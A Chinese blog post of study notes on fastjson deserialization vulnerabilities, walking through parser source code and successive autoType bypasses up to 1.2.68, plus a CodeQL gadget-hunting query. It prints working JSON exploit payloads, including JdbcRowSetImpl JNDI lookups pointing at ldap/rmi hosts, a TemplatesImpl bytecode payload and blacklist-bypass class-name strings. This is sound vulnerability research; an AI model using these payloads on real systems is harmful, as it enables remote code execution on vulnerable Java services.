fastjson记录

参考指南

fastjson:我一路向北,离开有你的季节 | 素十八 (su18.org)

Java 反序列化漏洞始末(3)— fastjson - 浅蓝 's blog (b1ue.cn)

梅子酒の笔记本 (meizjm3i.github.io)

fastjson基础

早期版本的 fastjson 的框架图

fastjson 功能要点:

  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法以及构造方法,其中

    • getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;
    • setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
    • 构造方法:优先选无参构造,没有无参构造会选取唯一的构造方法。如有多个构造方法,优先选参数最多的public构造方法。如参数最多的构造方法有多个则随机选取一个构造方法。如果被实例化的是静态内部类,也可以忽视修饰。如果被实例化的是非public类,构造方法里的的参数类型仍然可以进一步反序列化
    • public field参数类型以及静态代码块;
  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。

  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。

漏洞分析

早期

经典利用有两条利用链

  • JdbcRowSetImpl(JNDI) (lookup,最常见)

  • TemplatesImpl(Feature.SupportNonPublicField)(jdk7u21的利用链触发方式)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}

{
	"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes": ["yv66vgAAADQA...CJAAk="],
	"_name": "hello",
	"_tfactory": {},
	"_outputProperties": {},
}

分析

com.alibaba.fastjson.JSON#parse(java.lang.String, int)中的parse方法实例化一个DefaultJSONParser对象并调用parse方法,之后跟进

DefaultJSONParser会初始化lexer进行不同操作,这个 lexer 属性实际上是在 DefaultJSONParser 对象被实例化的时候创建的,初始化了个JSONScanner对象

public DefaultJSONParser(String input, ParserConfig config, int features) {
    this(input, new JSONScanner(input, features), config);
}

因为在DefaultJSONParser操作中可明显看到token为12

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
    this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
    this.contextArrayIndex = 0;
    this.resolveStatus = 0;
    this.extraTypeProviders = null;
    this.extraProcessors = null;
    this.fieldTypeResolver = null;
    this.lexer = lexer;
    this.input = input;
    this.config = config;
    this.symbolTable = config.symbolTable;
    int ch = lexer.getCurrent();
    if (ch == '{') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 12;
    } else if (ch == '[') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 14;
    } else {
        lexer.nextToken();
    }

}

com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object),

case 12:
    JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
    return this.parseObject((Map)object, fieldName);

这里new 了一个 JSONObject 对象之后进入parseObject方法

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object),检测json格式,并对下个字符进行判断。

进行判断后,获取@type对应值,之后使用loadClass进行装载。之后getDeserializer获取序列化对象,com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)最终进行对其进行反射调用setter操作执行漏洞代码;

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
    if (clazz != null) {
        lexer.nextToken(16);
        if (lexer.token() != 13) {
            this.setResolveStatus(2);
            if (this.context != null && !(fieldName instanceof Integer)) {
                this.popContext();
            }

            if (object.size() > 0) {
                instance = TypeUtils.cast(object, clazz, this.config);
                this.parseObject(instance);
                thisObj = instance;
                return thisObj;
            }

            ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
            thisObj = deserializer.deserialze(this, clazz, fieldName);
            return thisObj;
        }

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader),只要存在就会缓存到mappings里;

public static Class<?> loadClass(String className, ClassLoader classLoader) {
    if (className != null && className.length() != 0) {
        Class<?> clazz = (Class)mappings.get(className);    // mappings 里缓存了一些常用的基本类型,com.sun.rowset.JdbcRowSetImpl肯定是不在这里的
        if (clazz != null) {
            return clazz;
        } else if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        } else if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        } else {            // 最终走到 最后一个else分支里
            try {
                if (classLoader != null) {
                    clazz = classLoader.loadClass(className);
                    mappings.put(className, clazz);
                    return clazz;
                }
            } catch (Throwable var6) {
                var6.printStackTrace();
            }

            try {
                ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                if (contextClassLoader != null) {
                    clazz = contextClassLoader.loadClass(className);    // 加载类
                    mappings.put(className, clazz); //将类对象缓存在 mappings 对象
                    return clazz;
                }
            } catch (Throwable var5) {
                ;
            }

            try {
                clazz = Class.forName(className);
                mappings.put(className, clazz);
                return clazz;
            } catch (Throwable var4) {
                return clazz;
            }
        }
    } else {
        return null;
    }
}

中期修复

1.2.25版本更新中新增autoTypeSupport默认为false,将不支持指定类的反序列化。并通过checkAutoType函数对加载类进行黑名单+白名单验证;

获取类对象的方法由原来的TypeUtils.loadClass替换为了checkAutoType

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = this.config.checkAutoType(ref, (Class)null);

com.alibaba.fastjson.parser.ParserConfig#checkAutoType,

  1. 如果开启了 autoType,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。
  2. TypeUtils.mappings 中和 deserializers 中尝试查找要反序列化的类,存在则return;
  3. 如果没开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass 加载。因此中期的相关漏洞基本集中于此;

TypeUtils.loadClass的方法和checkAutoType存在判断差异导致了绕过;(需要开启autoType),调用loadClass方法是循环调用,并且第二个'['也可以进行绕过

Lcom.sun.rowset.JdbcRowSetImpl;
LLLcom.sun.rowset.JdbcRowSetImpl;;;

"[com.sun.rowset.JdbcRowSetImpl"[

if (className != null && className.length() != 0) {
    Class<?> clazz = (Class)mappings.get(className);
    if (clazz != null) {
        return clazz;
    } else if (className.charAt(0) == '[') {
        Class<?> componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    } else if (className.startsWith("L") && className.endsWith(";")) {
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    } else {
        try {

之后再1.2.42中延续之前检测模式并且将黑名单采用hash方式,避免了反向研究;

还有就是针对loadClass的修补,以及相关黑名单的添加;

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}

fastjson-1.2.47

到了1.2.47,出现了部分通杀AutoTypeSupport利用漏洞;

影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47

POC:

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "f":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://10.165.93.31:1090/evil",
        "autoCommit":"true"
    }
}

以上我们可以看到是解析两个对象,第一个是java.lang.Class,其不在黑名单,因此checkAutoType会顺利通过;

由前文的checkAutoType逻辑可以发现在两次AutoTypeSupport判断中间存在缓存读取的逻辑;而本次的绕过逻辑也主要集中在此;至于影响版本的差异主要是AutoTypeSupport开启的黑名单判断中增加了TypeUtils.mappings是否存在该类缓存的判断。

  • deserializers 位于 com.alibaba.fastjson.parser.ParserConfig.deserializers ,是一个 IdentityHashMap;这个map的key为各种Class类型,value为其对应的反序列化处理类。赋值的函数有:
    • getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
    • initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
    • putDeserializer():被前两个函数调用,我们无法控制入参。
  • TypeUtils.getClassFromMapping(typeName)。这个方法从 TypeUtils.mappings 中取值,这是一个 ConcurrentHashMap 对象
    • addBaseClassMappings():无入参,加载
    • loadClass():关键函数

关注com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法,这个类主要用于处理特定功能的反序列化类;包括Class.calss类,因此成为入口

com.alibaba.fastjson.serializer.MiscCodec#deserialze

if (clazz == Class.class) {
    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());

因此,当1.2.32之前版本需要AutoTypeSupport为false,才能走到获取缓存mapping的操作,而33-47的版本因为在AutoTypeSupport第一步检查中mapping判断多了一步缓存检查,导致了绕过;

fastjson-1.2.68

影响版本:fastjson <= 1.2.68
描述:利用 expectClass 绕过 checkAutoType() ,实际上也是为了绕过安全检查的思路的延伸。主要使用 ThrowableAutoCloseable 进行绕过。

47之后进行了修复,cache设置为false,并且loadClass设置为默认调用不缓存。

if (clazz == Class.class) {
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
}

1.2.68新增了个安全控制点sfaeMode,开启safeMode表示完全禁用autoType;

checkAutoType() 函数中有这样的逻辑:如果函数有 expectClass 入参,且我们传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以通过 checkAutoType() 的安全检测。并且会添加入缓存mappings中,进而后续思路就如1.2.47;

if (clazz != null) {
    if (jsonType) {
        TypeUtils.addMapping(typeName, clazz);
        return clazz;
    }

    if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
            || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
            ) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    if (expectClass != null) {
        if (expectClass.isAssignableFrom(clazz)) {
            TypeUtils.addMapping(typeName, clazz);
            return clazz;
        } else {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
    }

可控expectClass入参的方法:

  • ThrowableDeserializer#deserialze(),需要为Throwable子类
  • JavaBeanDeserializer#deserialze() AutoCloseable白名单,其子类

展望

codeql利用挖掘fastjson

漏洞分析 | 利用 CodeQL 分析 fastjson 1.2.80 利用链-安全客 - 安全资讯平台 (anquanke.com)

class ThrowableClass extends Class {
    ThrowableClass() {
        this.getASupertype*().hasQualifiedName("java.lang", "Throwable")
    }
}

Field getPublicFieldFromClass(Class cl) {
    exists(Field field| 
        field.getDeclaringType() = cl
        and field.getAModifier().getName() = "public"
        and result = field
    )
}

Parameter getParameterFromConstructor(Class cl) {
    exists(Constructor constructor, Parameter p | 
        constructor = cl.getAConstructor()
        and constructor.getNumberOfParameters() = max(int i | cl.getAConstructor().getNumberOfParameters() = i | i)
        and p = constructor.getAParameter()
        and result = p
    )
}


class NewInstaceMethod extends Method {
    NewInstaceMethod() {
        exists(GenericClass gclass |
            this.getName() = "newInstance"
            and gclass.getQualifiedName() = "java.lang.reflect.Constructor"
            and this.getDeclaringType().getSourceDeclaration() = gclass
        )
    }
}


query predicate edges(Callable a, Callable b) { 
    a.polyCalls(b)
}


predicate isExcludeClass(RefType type) {
    not (
        type.getQualifiedName() in [
            "java.lang.Object", 
            "java.lang.String",
            "java.lang.Number",
            "java.lang.Integer",
            "java.lang.Class"
        ]
    )
}

from ThrowableClass tclass, Class sourceClass, SetterMethod setter, NewInstaceMethod method, Constructor constructor
where (
    sourceClass = getPublicFieldFromClass(tclass).getType().(Class)
    or (
        setter.getDeclaringType() = tclass
        and sourceClass = setter.getField().getType().(Class)
    )
    or sourceClass = getParameterFromConstructor(tclass).getType().(Class)
) and isExcludeClass(sourceClass)
and isExcludeClass(sourceClass.getASubtype*())
and constructor = sourceClass.getASubtype*().getAConstructor()
and edges+(constructor, method)
select constructor, constructor, method, "Fastjson Gadget"
posted @ 2024-03-20 12:58  Yg~  阅读(103)  评论(0编辑  收藏  举报